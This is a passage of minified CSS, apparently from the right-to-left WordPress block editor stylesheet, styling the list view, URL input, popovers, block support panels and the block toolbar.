var(--wp-admin-theme-color)}.block-editor-list-view-leaf.is-selected.is-synced .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-list-view-leaf.is-first-selected td:first-child{border-top-right-radius:2px}.block-editor-list-view-leaf.is-first-selected td:last-child{border-top-left-radius:2px}.block-editor-list-view-leaf.is-last-selected td:first-child{border-bottom-right-radius:2px}.block-editor-list-view-leaf.is-last-selected td:last-child{border-bottom-left-radius:2px}.block-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){background:rgba(var(--wp-admin-theme-color--rgb),.04)}.block-editor-list-view-leaf.is-synced-branch.is-branch-selected{background:rgba(var(--wp-block-synced-color--rgb),.04)}.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:first-child{border-top-right-radius:2px}.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:last-child{border-top-left-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:first-child{border-top-right-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:last-child{border-top-left-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:first-child{border-bottom-right-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:last-child{border-bottom-left-radius:2px}.block-editor-list-view-leaf.is-branch-selected:not(.is-selected) td{border-radius:0}.block-editor-list-view-leaf.is-displacement-normal{transform:translateY(0);transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-displacement-normal{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-displacement-up{transform:translateY(-36px);transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-displacement-up{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-displacement-down{transform:translateY(36px);transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-displacement-down{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-after-dragged-blocks{transform:translateY(calc(var(--wp-admin--list-view-dragged-items-height, 36px)*-1));transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-after-dragged-blocks{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{transform:translateY(calc(-36px + var(--wp-admin--list-view-dragged-items-height, 36px)*-1));transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{transform:translateY(calc(36px + var(--wp-admin--list-view-dragged-items-height, 36px)*-1));transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-dragging{opacity:0;pointer-events:none;right:0;z-index:-9999}.block-editor-list-view-leaf .block-editor-list-view-block-contents{align-items:center;border-radius:2px;display:flex;height:auto;padding:6px 0 6px 4px;position:relative;text-align:right;white-space:nowrap;width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-contents.is-dropping-before:before{border-top:4px solid var(--wp-admin-theme-color);content:"";left:0;pointer-events:none;position:absolute;right:0;top:-2px;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear}.components-modal__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{padding-left:0;padding-right:0}.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents{box-shadow:none}.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents:after{border-radius:inherit;bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:-29px;pointer-events:none;position:absolute;right:0;top:0;z-index:2}.block-editor-list-view-leaf.has-single-cell .block-editor-list-view-block-contents:focus:after{left:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view__menu{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);z-index:1}.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;opacity:1}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{animation-delay:0s;animation-duration:1ms}}.block-editor-list-view-leaf .block-editor-block-icon{flex:0 0 24px;margin-left:8px}.block-editor-list-view-leaf .block-editor-list-view-block__contents-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{padding-bottom:0;padding-top:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{line-height:0;vertical-align:middle;width:36px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell>*{opacity:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:hover>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:hover>*{opacity:1}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell .components-button.has-icon{min-width:24px;padding:0;width:24px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell{padding-left:4px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon{height:24px}.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell-alignment-wrapper{align-items:center;display:flex;flex-direction:column;height:100%}.block-editor-list-view-leaf .block-editor-block-mover-button{height:24px;position:relative;width:36px}.block-editor-list-view-leaf .block-editor-block-mover-button svg{height:24px;position:relative}.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button{align-items:flex-end;margin-top:-6px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button svg{bottom:-4px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button{align-items:flex-start;margin-bottom:-6px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button svg{top:-4px}.block-editor-list-view-leaf .block-editor-block-mover-button:before{height:16px;left:0;min-width:100%;right:0}.block-editor-list-view-leaf .block-editor-inserter__toggle{background:#1e1e1e;color:#fff;height:24px;margin:6px 1px 6px 6px;min-width:24px}.block-editor-list-view-leaf .block-editor-inserter__toggle:active{color:#fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__label-wrapper{min-width:120px}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title{flex:1;position:relative}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title .components-truncate{position:absolute;transform:translateY(-50%);width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor-wrapper{max-width:min(110px,40%);position:relative;width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor{background:#0000001a;border-radius:2px;box-sizing:border-box;left:0;max-width:100%;padding:2px 6px;position:absolute;transform:translateY(-50%)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__anchor{background:#0000004d}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__lock{line-height:0}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__images{display:flex}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image{background-size:cover;border-radius:2px;height:18px;width:18px}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:only-child){box-shadow:0 0 0 2px #fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:first-child){margin-right:-6px}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__image:not(:only-child){box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.block-editor-list-view-draggable-chip{opacity:.8}.block-editor-list-view-appender__cell .block-editor-list-view-appender__container,.block-editor-list-view-appender__cell .block-editor-list-view-block__contents-container,.block-editor-list-view-block__contents-cell .block-editor-list-view-appender__container,.block-editor-list-view-block__contents-cell .block-editor-list-view-block__contents-container{display:flex}.block-editor-list-view__expander{cursor:pointer;height:24px;margin-right:4px;width:24px}.block-editor-list-view-leaf[aria-level] .block-editor-list-view__expander{margin-right:220px}.block-editor-list-view-leaf:not([aria-level="1"]) .block-editor-list-view__expander{margin-left:4px}.block-editor-list-view-leaf[aria-level="1"] .block-editor-list-view__expander{margin-right:0}.block-editor-list-view-leaf[aria-level="2"] .block-editor-list-view__expander{margin-right:24px}.block-editor-list-view-leaf[aria-level="3"] .block-editor-list-view__expander{margin-right:52px}.block-editor-list-view-leaf[aria-level="4"] .block-editor-list-view__expander{margin-right:80px}.block-editor-list-view-leaf[aria-level="5"] .block-editor-list-view__expander{margin-right:108px}.block-editor-list-view-leaf[aria-level="6"] .block-editor-list-view__expander{margin-right:136px}.block-editor-list-view-leaf[aria-level="7"] .block-editor-list-view__expander{margin-right:164px}.block-editor-list-view-leaf[aria-level="8"] .block-editor-list-view__expander{margin-right:192px}.block-editor-list-view-leaf .block-editor-list-view__expander{visibility:hidden}.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{transform:rotate(-90deg);transition:transform .2s ease;visibility:visible}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{transform:rotate(0deg);transition:transform .2s ease;visibility:visible}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-drop-indicator{pointer-events:none}.block-editor-list-view-drop-indicator .block-editor-list-view-drop-indicator__line{background:var(--wp-admin-theme-color);border-radius:4px;height:4px}.block-editor-list-view-drop-indicator--preview{pointer-events:none}.block-editor-list-view-drop-indicator--preview .components-popover__content{overflow:hidden!important}.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:4px;height:36px;overflow:hidden}.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line--darker{background:rgba(var(--wp-admin-theme-color--rgb),.09)}.block-editor-list-view-placeholder{height:36px;margin:0;padding:0}.list-view-appender .block-editor-inserter__toggle{background-color:#1e1e1e;border-radius:2px;color:#fff;height:24px;margin:8px 24px 0 0;min-width:24px;padding:0}.list-view-appender .block-editor-inserter__toggle:focus,.list-view-appender .block-editor-inserter__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.list-view-appender__description{display:none}.block-editor-list-view-block-select-button__bindings svg g{stroke:var(--wp-bound-block-color);fill:#0000;stroke-width:1.5;stroke-linecap:round;stroke-linejoin:round}.modal-open .block-editor-media-replace-flow__options{display:none}.block-editor-media-replace-flow__indicator{margin-right:4px}.block-editor-media-flow__url-input{margin-left:-8px;margin-right:-8px;padding:16px}.block-editor-media-flow__url-input.has-siblings{border-top:1px solid #1e1e1e;margin-top:8px;padding-bottom:8px}.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{display:block;margin-bottom:8px;top:16px}.block-editor-media-flow__url-input .block-editor-link-control{width:300px}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-url-input{margin:0;padding:0}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-info,.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{max-width:200px;white-space:nowrap}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__tools{justify-content:flex-end;padding:16px var(--wp-admin-border-width-focus) var(--wp-admin-border-width-focus)}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{padding:0;width:auto}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{margin:0;width:100%}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{padding:8px 0 0}.block-editor-media-flow__error{max-width:255px;padding:0 20px 20px}.block-editor-media-flow__error .components-with-notices-ui{max-width:255px}.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{overflow:hidden;word-wrap:break-word}.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{left:10px;position:absolute}.block-editor-multi-selection-inspector__card{align-items:flex-start;display:flex;padding:16px}.block-editor-multi-selection-inspector__card-content{flex-grow:1}.block-editor-multi-selection-inspector__card-title{font-weight:500;margin-bottom:5px}.block-editor-multi-selection-inspector__card-description{font-size:13px}.block-editor-multi-selection-inspector__card .block-editor-block-icon{height:24px;margin-left:10px;margin-right:-2px;padding:0 3px;width:36px}.block-editor-responsive-block-control{border-bottom:1px solid #ccc;margin-bottom:28px;padding-bottom:14px}.block-editor-responsive-block-control:last-child{border-bottom:0;padding-bottom:0}.block-editor-responsive-block-control__title{margin:0 -3px .6em 0}.block-editor-responsive-block-control__label{font-weight:600;margin-bottom:.6em;margin-right:-3px}.block-editor-responsive-block-control__inner{margin-right:-1px}.block-editor-responsive-block-control__toggle{margin-right:1px}.block-editor-responsive-block-control .components-base-control__help{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.components-popover.block-editor-rich-text__inline-format-toolbar{z-index:99998}.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{box-shadow:none;margin-bottom:8px;min-width:auto;outline:none;width:auto}.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar{border-radius:2px}.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{min-height:48px;min-width:48px;padding-left:12px;padding-right:12px}.block-editor-rich-text__inline-format-toolbar-group .components-dropdown-menu__toggle{justify-content:center}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon{width:auto}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon:after{content:attr(aria-label)}.block-editor-skip-to-selected-block{position:absolute;top:-9999em}.block-editor-skip-to-selected-block:focus{background:#f1f1f1;box-shadow:0 0 2px 2px #0009;color:var(--wp-admin-theme-color);display:block;font-size:14px;font-weight:600;height:auto;line-height:normal;outline:none;padding:15px 23px 14px;text-decoration:none;width:auto;z-index:100000}.block-editor-text-decoration-control{border:0;margin:0;padding:0}.block-editor-text-decoration-control .block-editor-text-decoration-control__buttons{display:flex;padding:4px 0}.block-editor-text-decoration-control .components-button.has-icon{height:32px;margin-left:4px;min-width:32px;padding:0}.block-editor-text-transform-control{border:0;margin:0;padding:0}.block-editor-text-transform-control .block-editor-text-transform-control__buttons{display:flex;padding:4px 0}.block-editor-text-transform-control .components-button.has-icon{height:32px;margin-left:4px;min-width:32px;padding:0}.block-editor-tool-selector__help{border-top:1px solid #ddd;color:#757575;margin:8px -8px -8px;min-width:280px;padding:16px}.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{flex-grow:1;padding:1px;position:relative}.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{font-size:16px;margin-left:0;margin-right:0;padding:8px 12px 8px 8px;width:100%}@media (min-width:600px){.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{font-size:13px;width:300px}}.block-editor-block-list__block .block-editor-url-input input[type=text]::-ms-clear,.block-editor-url-input input[type=text]::-ms-clear,.components-popover .block-editor-url-input input[type=text]::-ms-clear{display:none}.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.components-popover .block-editor-url-input.is-full-width__suggestions{width:100%}.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{left:8px;margin:0;position:absolute;top:calc(50% - 8px)}.block-editor-url-input__input[type=text]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:6px 8px;transition:box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.block-editor-url-input__input[type=text]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.block-editor-url-input__input[type=text]{font-size:13px;line-height:normal}}.block-editor-url-input__input[type=text]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-url-input__input[type=text]::-webkit-input-placeholder{color:#1e1e1e9e}.block-editor-url-input__input[type=text]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.block-editor-url-input__input[type=text]:-ms-input-placeholder{color:#1e1e1e9e}.block-editor-url-input__suggestions{max-height:200px;overflow-y:auto;padding:4px 0;transition:all .15s ease-in-out;width:302px}@media (prefers-reduced-motion:reduce){.block-editor-url-input__suggestions{transition-delay:0s;transition-duration:0s}}.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:none}@media (min-width:600px){.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:grid}}.block-editor-url-input__suggestion{background:#fff;border:none;box-shadow:none;color:#757575;cursor:pointer;display:block;font-size:13px;height:auto;min-height:36px;text-align:right;width:100%}.block-editor-url-input__suggestion:hover{background:#ddd}.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{background:var(--wp-admin-theme-color-darker-20);color:#fff;outline:none}.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{position:inherit}.block-editor-url-input__button .block-editor-url-input__back{margin-left:4px;overflow:visible}.block-editor-url-input__button .block-editor-url-input__back:after{background:#ddd;content:"";display:block;height:24px;left:-1px;position:absolute;width:1px}.block-editor-url-input__button-modal{background:#fff;border:1px solid #ddd;box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a}.block-editor-url-input__button-modal-line{align-items:flex-start;display:flex;flex-direction:row;flex-grow:1;flex-shrink:1;min-width:0}.block-editor-url-input__button-modal-line .components-button{flex-shrink:0;height:36px;width:36px}.block-editor-url-popover__additional-controls{border-top:1px solid #1e1e1e;padding:8px}.block-editor-url-popover__input-container{padding:8px}.block-editor-url-popover__row{display:flex;gap:4px}.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){flex-grow:1;gap:8px}.block-editor-url-popover__additional-controls .components-button.has-icon{height:auto;padding-left:8px;padding-right:8px;text-align:right}.block-editor-url-popover__additional-controls .components-button.has-icon>svg{margin-left:8px}.block-editor-url-popover__settings-toggle{flex-shrink:0}.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{transform:rotate(-180deg)}.block-editor-url-popover__settings{border-top:1px solid #1e1e1e;display:block;padding:16px}.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{display:flex}.block-editor-url-popover__link-viewer-url{align-items:center;display:flex;flex-grow:1;flex-shrink:1;margin-left:8px;max-width:350px;min-width:150px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-url-popover__link-viewer-url.has-invalid-link{color:#cc1818}.block-editor-url-popover__expand-on-click{align-items:center;display:flex;min-width:350px;white-space:nowrap}.block-editor-url-popover__expand-on-click .text{flex-grow:1}.block-editor-url-popover__expand-on-click .text p{line-height:16px;margin:0}.block-editor-url-popover__expand-on-click .text p.description{color:#757575;font-size:12px}.html-anchor-control .components-external-link{display:block;margin-top:8px}.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack{flex-direction:row-reverse}.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack .components-h-stack{flex-direction:row}.block-editor-hooks__block-hooks .block-editor-hooks__block-hooks-helptext{color:#757575;font-size:12px;margin-bottom:16px}.block-editor-hooks__background__inspector-media-replace-container{position:relative}.block-editor-hooks__background__inspector-media-replace-container .components-drop-zone__content-icon{display:none}.block-editor-hooks__background__inspector-media-replace-container button.components-button{box-shadow:inset 0 0 0 1px #ddd;color:#1e1e1e;display:block;height:40px;width:100%}.block-editor-hooks__background__inspector-media-replace-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-editor-hooks__background__inspector-media-replace-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-hooks__background__inspector-media-replace-container .block-editor-hooks__background__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-editor-hooks__background__inspector-media-replace-container .components-dropdown{display:block}.block-editor-hooks__background__inspector-image-indicator-wrapper{background:#fff linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:50%!important;box-shadow:inset 0 0 0 1px #0003;display:block;flex:none;height:20px;width:20px}.block-editor-hooks__background__inspector-image-indicator-wrapper.has-image{background:#fff}.block-editor-hooks__background__inspector-image-indicator{background-size:cover;border-radius:50%;display:block;height:20px;position:relative;width:20px}.block-editor-hooks__background__inspector-image-indicator:after{border:1px solid #0000;border-radius:50%;bottom:-1px;box-shadow:inset 0 0 0 1px #0003;box-sizing:inherit;content:"";left:-1px;position:absolute;right:-1px;top:-1px}.border-block-support-panel .single-column{grid-column:span 1}.color-block-support-panel .block-editor-contrast-checker{grid-column:span 2;margin-top:16px;order:9999}.color-block-support-panel .block-editor-contrast-checker .components-notice__content{margin-left:0}.color-block-support-panel.color-block-support-panel .color-block-support-panel__inner-wrapper{row-gap:0}.color-block-support-panel .block-editor-tools-panel-color-gradient-settings__item.first{margin-top:0}.dimensions-block-support-panel .single-column{grid-column:span 1}.block-editor-hooks__layout-controls{display:flex;margin-bottom:8px}.block-editor-hooks__layout-controls .block-editor-hooks__layout-controls-unit{display:flex;margin-left:24px}.block-editor-hooks__layout-controls .block-editor-hooks__layout-controls-unit svg{margin:auto 8px 4px 0}.block-editor-block-inspector .block-editor-hooks__layout-controls-unit-input{margin-bottom:0}.block-editor-hooks__layout-controls-reset{display:flex;justify-content:flex-end;margin-bottom:24px}.block-editor-hooks__layout-controls-helptext{color:#757575;font-size:12px;margin-bottom:16px}.block-editor-hooks__flex-layout-justification-controls,.block-editor-hooks__flex-layout-orientation-controls{margin-bottom:12px}.block-editor-hooks__flex-layout-justification-controls legend,.block-editor-hooks__flex-layout-orientation-controls legend{margin-bottom:8px}.block-editor-hooks__toggle-control.block-editor-hooks__toggle-control{margin-bottom:16px}.block-editor__padding-visualizer{border-color:var(--wp-admin-theme-color);border-style:solid;bottom:0;box-sizing:border-box;left:0;opacity:.5;pointer-events:none;position:absolute;right:0;top:0}.block-editor-hooks__position-selection__select-control .components-custom-select-control__hint{display:none}.block-editor-hooks__position-selection__select-control__option.has-hint{grid-template-columns:auto 30px;line-height:1.4;margin-bottom:0}.block-editor-hooks__position-selection__select-control__option .components-custom-select-control__item-hint{grid-row:2;text-align:right}.typography-block-support-panel .single-column{grid-column:span 1}.block-editor-block-toolbar{display:flex;flex-grow:1;overflow-x:auto;overflow-y:hidden;position:relative;transition:border-color .1s linear,box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.block-editor-block-toolbar{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.block-editor-block-toolbar{overflow:inherit}}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{background:none;border:0;border-left:1px solid #ddd;line-height:0;margin-bottom:-1px;margin-top:-1px}.block-editor-block-toolbar.is-synced .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-synced .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{color:var(--wp-block-synced-color)}.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{border-left:none}.block-editor-block-contextual-toolbar{background-color:#fff;display:block;flex-shrink:3;position:sticky;top:0;width:100%;z-index:31}.block-editor-block-contextual-toolbar.components-accessible-toolbar{border:none;border-bottom:1px solid #e0e0e0;border-radius:0}.block-editor-block-contextual-toolbar .block-editor-block-toolbar{overflow:auto;overflow-y:hidden;scrollbar-color:#e0e0e0 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar{height:12px;width:12px}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-track{background-color:initial}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:#e0e0e0;border:3px solid #0000;border-radius:8px}.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover::-webkit-scrollbar-thumb{background-color:#949494}.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover{scrollbar-color:#949494 #0000}@media (hover:none){.block-editor-block-contextual-toolbar .block-editor-block-toolbar{scrollbar-color:#949494 #0000}}.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar-group:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child:after{display:none}.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar-group{border-left-color:#e0e0e0}.block-editor-block-contextual-toolbar>.block-editor-block-toolbar{flex-grow:0;width:auto}.block-editor-block-contextual-toolbar .block-editor-block-parent-selector{margin-bottom:-1px;margin-top:-1px;position:relative}.block-editor-block-contextual-toolbar .block-editor-block-parent-selector:after{align-items:center;content:"·";display:inline-flex;font-size:16px;height:32px;left:0;position:absolute;top:0}.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{margin:0!important;width:24px!important}.block-editor-block-toolbar__block-controls .components-toolbar-group{padding:0}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar-group{display:flex;flex-wrap:nowrap}.block-editor-block-toolbar__slot{display:inline-block;line-height:0}@supports (position:sticky){.block-editor-block-toolbar__slot{display:inline-flex}}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{width:auto}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.show-icon-labels .components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon{padding-left:6px;padding-right:6px}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{height:0!important;min-width:0!important;width:0!important}.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button{border-bottom-left-radius:0;border-top-left-radius:0;padding-left:12px;padding-right:12px;text-wrap:nowrap}.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button .block-editor-block-icon{width:0}.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container{position:relative;width:auto}@media (min-width:600px){.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{background:#e0e0e0;content:"";height:1px;margin-top:-.5px;position:absolute;right:50%;top:50%;transform:translate(50%);width:100%}}@media (min-width:782px){.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{background:#1e1e1e}}.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover-button,.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{padding-left:6px;padding-right:6px}.show-icon-labels .block-editor-block-mover:not(.is-horizontal) 